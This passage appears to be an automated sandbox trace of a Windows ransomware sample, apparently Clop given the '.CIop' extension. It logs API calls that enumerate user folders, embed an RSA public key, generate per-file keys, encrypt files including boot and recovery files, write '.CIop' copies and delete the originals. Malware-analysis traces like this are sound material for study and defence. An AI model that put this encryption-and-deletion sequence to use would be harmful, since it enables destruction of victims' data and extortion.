(in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.221] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Videos" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos" [0169.221] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos\\*.*") returned="C:\\Users\\Default\\Documents\\My Videos\\*.*" [0169.221] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0169.221] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Videos") returned="My Videos" [0169.221] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0169.221] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.221] lstrcmpW (lpString1="Downloads", lpString2="..") returned 1 [0169.221] lstrcmpW (lpString1="Downloads", lpString2=".") returned 1 [0169.221] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0169.221] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0169.221] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Downloads" | out: lpString1="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads" [0169.221] SetErrorMode (uMode=0x1) returned 0x1 [0169.222] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Downloads" | out: lpString1="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads" [0169.222] lstrcatW (in: lpString1="C:\\Users\\Default\\Downloads", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Downloads\\") returned="C:\\Users\\Default\\Downloads\\" [0169.222] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Downloads\\" | out: lpString1="C:\\Users\\Default\\Downloads\\") returned="C:\\Users\\Default\\Downloads\\" [0169.222] lstrcatW (in: lpString1="C:\\Users\\Default\\Downloads\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Downloads\\*.*") returned="C:\\Users\\Default\\Downloads\\*.*" [0169.222] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0169.222] PathFindFileNameW (pszPath="C:\\Users\\Default\\Downloads") returned="Downloads" [0169.222] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0169.222] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Downloads" | out: lpString1="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads" [0169.222] lstrcatW (in: lpString1="C:\\Users\\Default\\Downloads", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Downloads\\*.*") returned="C:\\Users\\Default\\Downloads\\*.*" [0169.222] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0169.222] PathFindFileNameW (pszPath="C:\\Users\\Default\\Downloads") returned="Downloads" [0169.222] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0169.222] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.222] lstrcmpW (lpString1="Favorites", lpString2="..") returned 1 [0169.222] lstrcmpW (lpString1="Favorites", lpString2=".") returned 1 [0169.222] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0169.222] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0169.222] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Favorites" | out: lpString1="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0169.222] SetErrorMode (uMode=0x1) returned 0x1 [0169.222] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Favorites" | out: lpString1="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0169.222] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Favorites\\") returned="C:\\Users\\Default\\Favorites\\" [0169.222] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Favorites\\" | out: lpString1="C:\\Users\\Default\\Favorites\\") returned="C:\\Users\\Default\\Favorites\\" [0169.222] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Favorites\\*.*") returned="C:\\Users\\Default\\Favorites\\*.*" [0169.222] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0169.223] PathFindFileNameW (pszPath="C:\\Users\\Default\\Favorites") returned="Favorites" [0169.223] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0169.223] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Favorites" | out: lpString1="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0169.223] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Favorites\\*.*") returned="C:\\Users\\Default\\Favorites\\*.*" [0169.223] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0169.223] PathFindFileNameW (pszPath="C:\\Users\\Default\\Favorites") returned="Favorites" [0169.223] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0169.223] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.223] lstrcmpW (lpString1="Links", lpString2="..") returned 1 [0169.223] lstrcmpW (lpString1="Links", lpString2=".") returned 1 [0169.223] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0169.223] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0169.223] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Links" | out: lpString1="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links" [0169.223] SetErrorMode (uMode=0x1) returned 0x1 [0169.223] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Links" | out: lpString1="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links" [0169.223] lstrcatW (in: lpString1="C:\\Users\\Default\\Links", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Links\\") returned="C:\\Users\\Default\\Links\\" [0169.223] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Links\\" | out: lpString1="C:\\Users\\Default\\Links\\") returned="C:\\Users\\Default\\Links\\" [0169.223] lstrcatW (in: lpString1="C:\\Users\\Default\\Links\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Links\\*.*") returned="C:\\Users\\Default\\Links\\*.*" [0169.223] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0169.223] PathFindFileNameW (pszPath="C:\\Users\\Default\\Links") returned="Links" [0169.223] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Links" | out: lpString1="Links") returned="Links" [0169.224] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Links" | out: lpString1="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links" [0169.224] lstrcatW (in: lpString1="C:\\Users\\Default\\Links", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Links\\*.*") returned="C:\\Users\\Default\\Links\\*.*" [0169.224] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0169.224] PathFindFileNameW (pszPath="C:\\Users\\Default\\Links") returned="Links" [0169.224] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Links" | out: lpString1="Links") returned="Links" [0169.224] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.224] lstrcmpW (lpString1="Local Settings", lpString2="..") returned 1 [0169.224] lstrcmpW (lpString1="Local Settings", lpString2=".") returned 1 [0169.224] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0169.224] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0169.224] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Local Settings" | out: lpString1="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings" [0169.224] SetErrorMode (uMode=0x1) returned 0x1 [0169.224] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Local Settings" | out: lpString1="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings" [0169.224] lstrcatW (in: lpString1="C:\\Users\\Default\\Local Settings", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Local Settings\\") returned="C:\\Users\\Default\\Local Settings\\" [0169.224] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Local Settings\\" | out: lpString1="C:\\Users\\Default\\Local Settings\\") returned="C:\\Users\\Default\\Local Settings\\" [0169.224] lstrcatW (in: lpString1="C:\\Users\\Default\\Local Settings\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Local Settings\\*.*") returned="C:\\Users\\Default\\Local Settings\\*.*" [0169.224] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Local Settings\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0169.224] PathFindFileNameW (pszPath="C:\\Users\\Default\\Local Settings") returned="Local Settings" [0169.224] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings" [0169.224] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Local Settings" | out: lpString1="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings" [0169.224] lstrcatW (in: lpString1="C:\\Users\\Default\\Local Settings", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Local Settings\\*.*") returned="C:\\Users\\Default\\Local Settings\\*.*" [0169.224] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Local Settings\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0169.224] PathFindFileNameW (pszPath="C:\\Users\\Default\\Local Settings") returned="Local Settings" [0169.224] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings" [0169.224] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0169.224] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0169.224] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Music" | out: lpString1="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music" [0169.224] SetErrorMode (uMode=0x1) returned 0x1 [0169.225] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Music" | out: lpString1="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music" [0169.225] lstrcatW (in: lpString1="C:\\Users\\Default\\Music", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Music\\") returned="C:\\Users\\Default\\Music\\" [0169.225] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Music\\" | out: lpString1="C:\\Users\\Default\\Music\\") returned="C:\\Users\\Default\\Music\\" [0169.225] lstrcatW (in: lpString1="C:\\Users\\Default\\Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Music\\*.*") returned="C:\\Users\\Default\\Music\\*.*" [0169.225] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0169.225] PathFindFileNameW (pszPath="C:\\Users\\Default\\Music") returned="Music" [0169.225] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" Thread: id = 28 os_tid = 0xf64 [0087.504] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0087.504] lstrcpyW (in: lpString1=0x2f0f368, lpString2="bootmgr" | out: lpString1="bootmgr") returned="bootmgr" [0087.504] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\" | out: lpString1="\\\\?\\C:\\") returned="\\\\?\\C:\\" [0087.504] SetErrorMode (uMode=0x1) returned 0x1 [0087.504] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\bootmgr") returned 14 [0087.504] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x20) returned 0 [0087.505] StrStrW (lpFirst="bootmgr", lpSrch=".CIop") returned 0x0 [0087.505] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\bootmgr.CIop") returned 19 [0087.505] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff Thread: id = 29 os_tid = 0xf68 [0087.545] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0087.545] lstrcpyW (in: lpString1=0x2f0f368, lpString2="BOOTNXT" | out: lpString1="BOOTNXT") returned="BOOTNXT" [0087.545] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\" | out: lpString1="\\\\?\\C:\\") returned="\\\\?\\C:\\" [0087.545] SetErrorMode (uMode=0x1) returned 0x1 [0087.545] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\BOOTNXT") returned 14 [0087.545] SetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTNXT", dwFileAttributes=0x20) returned 1 [0087.546] StrStrW (lpFirst="BOOTNXT", lpSrch=".CIop") returned 0x0 [0087.546] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\BOOTNXT.CIop") returned 19 [0087.546] CreateFileW (lpFileName="\\\\?\\C:\\BOOTNXT" (normalized: "c:\\bootnxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x354 [0087.546] ReadFile (in: hFile=0x354, lpBuffer=0x5ea898, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x5ea898*, lpNumberOfBytesRead=0x2f0e5e8*=0x1, lpOverlapped=0x0) returned 1 [0087.547] CloseHandle (hObject=0x354) returned 1 [0087.547] DeleteFileW (lpFileName="\\\\?\\C:\\BOOTNXT" (normalized: "c:\\bootnxt")) returned 1 [0087.549] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0087.549] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0087.549] SetErrorMode (uMode=0x1) returned 0x1 [0087.549] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x5ec2b8) returned 1 [0087.709] CryptGenKey (in: hProv=0x5ec2b8, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5d6b08) returned 1 [0087.741] CryptExportKey (in: hKey=0x5d6b08, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0087.741] CryptExportKey (in: hKey=0x5d6b08, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0087.741] CryptDestroyKey (hKey=0x5d6b08) returned 1 [0087.741] CryptReleaseContext (hProv=0x5ec2b8, dwFlags=0x0) returned 1 [0087.741] CreateFileW (lpFileName="\\\\?\\C:\\BOOTNXT.CIop" (normalized: "c:\\bootnxt.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x26c [0087.742] WriteFile (in: hFile=0x26c, lpBuffer=0x5ea898*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x5ea898*, lpNumberOfBytesWritten=0x2f0e5d8*=0x1, lpOverlapped=0x0) returned 1 [0087.743] SetFilePointer (in: hFile=0x26c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1 [0087.743] WriteFile (in: hFile=0x26c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0087.743] SetFilePointer (in: hFile=0x26c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x8 [0087.743] SetErrorMode (uMode=0x1) returned 0x1 [0087.743] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0087.743] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0087.743] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0087.744] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x5ec6f8) returned 1 [0087.745] CryptImportPublicKeyInfoEx (in: hCryptProv=0x5ec6f8, dwCertEncodingType=0x1, pInfo=0x5e7938, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5d6c88) returned 1 [0087.746] CryptEncrypt (in: hKey=0x5d6c88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0087.746] CryptEncrypt (in: hKey=0x5d6c88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5ecab0*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x5ecab0*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0087.746] WriteFile (in: hFile=0x26c, lpBuffer=0x5ecab0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x5ecab0*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0087.746] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.746] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.746] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.746] CloseHandle (hObject=0x26c) returned 1 [0087.747] DeleteFileW (lpFileName="\\\\?\\C:\\BOOTNXT" (normalized: "c:\\bootnxt")) returned 0 Thread: id = 30 os_tid = 0xf6c [0087.673] lstrcpyA (in: lpString1=0x306e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0087.673] lstrcpyW (in: lpString1=0x306f368, lpString2="boot.sdi" | out: lpString1="boot.sdi") returned="boot.sdi" [0087.673] lstrcpyW (in: lpString1=0x306f768, lpString2="\\\\?\\C:\\Recovery\\WindowsRE\\" | out: lpString1="\\\\?\\C:\\Recovery\\WindowsRE\\") returned="\\\\?\\C:\\Recovery\\WindowsRE\\" [0087.673] SetErrorMode (uMode=0x1) returned 0x1 [0087.673] wsprintfW (in: param_1=0x306eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Recovery\\WindowsRE\\boot.sdi") returned 34 [0087.673] SetFileAttributesW (lpFileName="\\\\?\\C:\\Recovery\\WindowsRE\\boot.sdi", dwFileAttributes=0x20) returned 1 [0087.673] StrStrW (lpFirst="boot.sdi", lpSrch=".CIop") returned 0x0 [0087.673] wsprintfW (in: param_1=0x306e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Recovery\\WindowsRE\\boot.sdi.CIop") returned 39 [0087.673] CreateFileW (lpFileName="\\\\?\\C:\\Recovery\\WindowsRE\\boot.sdi" (normalized: "c:\\recovery\\windowsre\\boot.sdi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x378 [0087.674] CreateFileMappingW (hFile=0x378, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x380 [0087.674] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2dc6c0) returned 0x3070000 [0087.675] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x3350000 [0087.675] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000 [0087.675] SetErrorMode (uMode=0x1) returned 0x1 [0087.676] CryptAcquireContextW (in: phProv=0x306e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x306e5b8*=0x5ec670) returned 1 [0087.681] CryptGenKey (in: hProv=0x5ec670, Algid=0x1, dwFlags=0x4000, 